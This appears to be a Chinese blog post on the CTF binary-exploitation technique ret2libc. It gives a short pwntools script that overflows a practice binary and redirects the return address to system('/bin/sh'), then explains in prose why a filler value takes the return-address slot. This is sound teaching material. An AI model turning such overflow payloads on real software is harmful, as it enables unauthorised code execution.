すのはら荘春原庄的雪

【PWN】Ret2libc

Toretto·2024-10-21 20:35·4 次阅读

【PWN】Ret2libc

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2libc

1. 有system有binsh#

这种好弄,直接

Copy
from pwn import * sh = process('./ret2libc1') binsh_addr = 0x8048720 system_plt = 0x08048460 payload = flat([b'a' * 112, system_plt, b'b' * 4, binsh_addr]) sh.sendline(payload) sh.interactive()

转载自lexsd6师傅#

image

在溢出数据后,使用libc库中system函数的地址覆盖掉原本的返回地址(这样原函数返回的时候会转而调用system函数),然后跟着是返回地址、参数。所以我们的system后加4个字符(‘p32(0)’)在图中的‘Filler’的位置指代是返回地址。
那么跟的问题也来了,为什么Filler’的位置(‘p(0)’)指代是返回地址?为什么参数跟在返回地址后面?

正常情况下,我们是通过call指令进行函数调用的,因此在进入到system函数之前,call指令已经通过push EIP将其返回地址push到栈帧中了,所以在正常情况下ret指令pop到EIP的数据就是之前call指令push到栈帧的数据,也就是说两者是成对的。但是在我们的利用漏洞攻击中,直接通过覆盖EIP地址跳转到了system函数,而并没有经过call调用,也即是没有push EIP的操作,但是system函数却照常进行了ret指令的pop EIP操作。此时的ESP指向了Filler,所以根据栈的‘后进先出’的原则在栈顶(ESP)的Filler会被pop出保存在EIP中。而EIP作用是保存的是返回地址,所以Filler就成了返回地址。
image

同时我们在进行漏洞攻击中,与正常函数相比就只少了‘进入到system函数之前,call指令已经通过push EIP将其返回地址push到栈帧中’这一步骤,因此参数还是正常的跟在返回地址后面。

posted @   vstral  阅读(4)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
点击右上角即可分享
微信分享提示
目录